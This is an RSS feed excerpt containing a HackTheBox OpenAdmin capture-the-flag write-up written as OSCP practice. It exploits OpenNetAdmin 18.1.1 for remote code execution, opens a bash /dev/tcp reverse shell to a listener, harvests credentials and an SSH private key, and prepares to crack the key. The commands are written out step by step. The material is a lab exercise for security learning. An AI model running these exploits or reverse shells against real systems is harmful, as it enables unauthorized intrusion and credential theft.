&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo1bj2goeq3rae0d10w2p.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo1bj2goeq3rae0d10w2p.PNG" alt="Alt Text" width="656" height="85"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvwkb19jhkoabb0b8mhue.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvwkb19jhkoabb0b8mhue.PNG" alt="Alt Text" width="335" height="371"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>python</category>
      <category>cybersecurity</category>
      <category>beginners</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Writeup: HackTheBox OpenAdmin - Without Metasploit (OSCP Prep)</title>
      <dc:creator>Chris</dc:creator>
      <pubDate>Wed, 22 Sep 2021 16:02:53 +0000</pubDate>
      <link>https://dev.to/xyzchris0/writeup-hackthebox-openadmin-without-metasploit-oscp-prep-4ln</link>
      <guid>https://dev.to/xyzchris0/writeup-hackthebox-openadmin-without-metasploit-oscp-prep-4ln</guid>
      <description>&lt;p&gt;I recently completed the OpenAdmin box from Hackthebox. While this box was rated as being easy it was a little tricky to get my footing and working around the box.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nmap -sC -sV -O -T4 -p- -oN nmap.txt 10.10.10.171&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftg72qjawxhdk5wcmz9k0.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftg72qjawxhdk5wcmz9k0.PNG" alt="Alt Text" width="800" height="488"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Ports Open:
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;22 OpenSSH 7.6p1, Is the main tool for connecting remote login with SSH. SSH encrypts all the traffic as well as providing Securing tunneling plus some other cool things.&lt;/li&gt;
&lt;li&gt;80 Apache httpD 2.4.29, This is a free and open-source cross-platform web server. Mostly these servers run on Linux but some of the current/up-to-date ones run on Windows.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Being that I like messing around the website first I will skip over the first port and head directly over to the site.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ddwxn5lohk3yjlehmw3.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7ddwxn5lohk3yjlehmw3.PNG" alt="Alt Text" width="800" height="272"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So nothing too interesting here for me. So lets, fire up some &lt;em&gt;Directory Busting&lt;/em&gt; tools.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;dirb &lt;a href="http://10.10.10.171/" rel="noopener noreferrer"&gt;http://10.10.10.171/&lt;/a&gt; -o dirb.txt&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;-o = Will capture this in an output so if you want to clear your screen after it runs you can.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgtb9iz9z22k36a24gy4m.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgtb9iz9z22k36a24gy4m.PNG" alt="Alt Text" width="540" height="36"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After some time we should get a pretty long list for directories found.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fokaz7kavmlg0rgvnkqjj.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fokaz7kavmlg0rgvnkqjj.PNG" alt="Alt Text" width="649" height="769"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhx7o5qtg0aijtxljrhz9.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhx7o5qtg0aijtxljrhz9.PNG" alt="Alt Text" width="604" height="232"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After getting the results we can now head over to the sites that were discovered. It appears to be some landing pages that don't provide too much information for us. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkmq02v3lndifa8p7i6ec.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkmq02v3lndifa8p7i6ec.PNG" alt="Alt Text" width="800" height="501"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But after we get to the &lt;em&gt;/music&lt;/em&gt; location it appears to be a login section which wasn't on the other sites.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fphty9va1m0t1p6gyvv7u.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fphty9va1m0t1p6gyvv7u.PNG" alt="Alt Text" width="800" height="142"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Clicking on the &lt;em&gt;login&lt;/em&gt; button should bring up a new page called &lt;em&gt;/ona&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9vg7ui3vzn0yclkjyin4.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9vg7ui3vzn0yclkjyin4.PNG" alt="Alt Text" width="790" height="336"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Searching on the page brings up the below &lt;em&gt;User Info&lt;/em&gt; page. It shows us as being logged in as an &lt;em&gt;guest&lt;/em&gt; and that the Database is running on &lt;em&gt;mysqli&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4j2mppq8m5s7hkodal7a.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4j2mppq8m5s7hkodal7a.PNG" alt="Alt Text" width="627" height="590"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Searching around some and we are able to find the version information.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;v18.1.1&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;When typing &lt;em&gt;ona v18.1.1&lt;/em&gt; into Google, it provides us with the following.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OpenNetAdmin v18.1.1&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;OpenNetAdmin provides a database managed inventory of your IP network. Each subnet, host, and IP can be tracked via a centralized AJAX enabled web interface that can help reduce tracking errors. A full CLI interface is available as well to use for scripting and bulk work.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftc146nbqn56qzitqght2.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftc146nbqn56qzitqght2.PNG" alt="Alt Text" width="800" height="411"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now that we have this key information let's check for any exploits on Kali that we can use for it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;searchsploit OpenNetAdmin&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffjnf8xwqlbk13z5cggxn.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffjnf8xwqlbk13z5cggxn.PNG" alt="Alt Text" width="800" height="86"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's go with the last one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;locate php/webapps/47691.sh&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;cp /usr/share/exploitdb/exploits/php/webapps/47691.sh .&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcekrupdx5o0rqwki68wt.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcekrupdx5o0rqwki68wt.PNG" alt="Alt Text" width="501" height="105"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;cat 47691.sh&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyou0g2bqbw8ouwguciup.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyou0g2bqbw8ouwguciup.PNG" alt="Alt Text" width="800" height="252"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The code above will push out a &lt;em&gt;pseudo-shell&lt;/em&gt; for us.&lt;/p&gt;

&lt;p&gt;Before running the code you will need to reformat it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;dos2unix 47691.sh&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;./47691.sh 10.10.10.171/ona/&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This will bring up a limited shell on the machine. I decided to use another python script instead, so depending on what you want to do the option is yours.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;wget &lt;a href="https://raw.githubusercontent.com/amriunix/ona-rce/master/ona-rce.py" rel="noopener noreferrer"&gt;https://raw.githubusercontent.com/amriunix/ona-rce/master/ona-rce.py&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0kgaf0vybuej9pjz8agf.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0kgaf0vybuej9pjz8agf.PNG" alt="Alt Text" width="800" height="100"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's run the code to read the options:&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;python3 ona-rce.py&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frdwk9je4qhizowx12ezf.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frdwk9je4qhizowx12ezf.PNG" alt="Alt Text" width="800" height="233"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After running the script we get 2 options. One of which is to &lt;em&gt;check&lt;/em&gt; if the victim is vulnerable and another one to &lt;em&gt;exploit&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;python3 ona-rce.py check &lt;a href="http://10.10.10.171/ona/" rel="noopener noreferrer"&gt;http://10.10.10.171/ona/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft1armva3lxz9ho9gefow.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft1armva3lxz9ho9gefow.PNG" alt="Alt Text" width="800" height="159"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now off to the races.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;python3 ona-rce.py exploit &lt;a href="http://10.10.10.171/ona/" rel="noopener noreferrer"&gt;http://10.10.10.171/ona/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3o5cqcs0nkdmst9tu6u9.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3o5cqcs0nkdmst9tu6u9.PNG" alt="Alt Text" width="800" height="288"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So I am the &lt;em&gt;www-data&lt;/em&gt; user.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe5wmini9fa3tb3wlj7y5.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe5wmini9fa3tb3wlj7y5.PNG" alt="Alt Text" width="800" height="77"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's get a better shell on the machine.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;nc -nvlp 1234&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fca57ilpo5suhuc1uw4ky.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fca57ilpo5suhuc1uw4ky.PNG" alt="Alt Text" width="478" height="59"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;/bin/bash -C 'bash -i &amp;gt;&amp;amp; /dev/tcp/&lt;em&gt;tun0&lt;/em&gt;/1234 0&amp;gt;&amp;amp;1'&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fav9rmscshp9ykzdszjzp.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fav9rmscshp9ykzdszjzp.PNG" alt="Alt Text" width="800" height="29"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foscpk7q88oszvv64hf4h.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foscpk7q88oszvv64hf4h.PNG" alt="Alt Text" width="800" height="112"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I am going to check around on the box for any hidden files, while doing this I come across the following 2 users.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F34t3mvcr32mbagwax3p5.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F34t3mvcr32mbagwax3p5.PNG" alt="Alt Text" width="410" height="141"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After some additional searches on the box I come across the following password for the &lt;em&gt;localhost&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fekg1qev7nm2g80frsjkv.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fekg1qev7nm2g80frsjkv.PNG" alt="Alt Text" width="800" height="362"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Save these creds to a file.&lt;br&gt;
Now review the file to make sure.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;cat password&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F50bxxt383tsgtxbapcco.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F50bxxt383tsgtxbapcco.PNG" alt="Alt Text" width="255" height="65"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Remember that there was a SSH port open before. I am going to try and use the usernames we found with the password we just discovered to login.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmkj38hdmi8i9gbavecol.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmkj38hdmi8i9gbavecol.PNG" alt="Alt Text" width="800" height="448"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Something should have stuck out to you. When I copied that Password to my file I left out the &lt;em&gt;!&lt;/em&gt; by accident. Make sure you are paying close attention to this when you are running on a box.&lt;/p&gt;

&lt;p&gt;No try this again with the &lt;em&gt;!&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnny39cuzthucluj8x08u.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnny39cuzthucluj8x08u.PNG" alt="Alt Text" width="800" height="588"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let's look at what is running here.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;netstat -a&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhs4zrnkfaeamwb9sovxf.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhs4zrnkfaeamwb9sovxf.PNG" alt="Alt Text" width="800" height="150"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see that a &lt;em&gt;localhost:52846&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;While looking at this directory, I see a file called &lt;em&gt;main.php&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;I tried to cat it but didn't show much from there so I am going to use &lt;em&gt;Curl&lt;/em&gt; with the knowledge that netstat showed there is something running here at the localhost port &lt;em&gt;52846&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Curl &lt;a href="http://127.0.0.1:52846/main.php" rel="noopener noreferrer"&gt;http://127.0.0.1:52846/main.php&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frvuv9pobm4ie5j2rpwft.PNG" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frvuv9pobm4ie5j2rpwft.PNG" alt="Alt Text" width="672" height="687"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can see that there is a &lt;em&gt;RSA Private Key&lt;/em&gt; here.&lt;/p&gt;

&lt;p&gt;Let's copy and paste this into a new file.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;echo &amp;gt; key&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;nano key&lt;/strong&gt;&lt;br&gt;
Then paste the code, CTRL+X then Yes to save it.&lt;/p&gt;

&lt;p&gt;Verify the contents of file by &lt;em&gt;Cat&lt;/em&gt; the file.&lt;/p&gt;

&lt;p&gt;I am going to use JohntheRipper to crack this.&lt;/p&gt;

&lt;p&gt;But first if you haven't already unziped the &lt;em&gt;txt.gz&lt;/em&gt;, do the following.&lt;/p&gt;

&lt;h2&gt;
  
  
  Command:
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;cd /usr/share/wordlists&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;gunzip rockyou.txt.gz&lt;/strong&gt;&lt;br&gt;
&lt;strong&gt;ls&lt;/strong&gt; To verify that it worked.&lt;/p&gt;

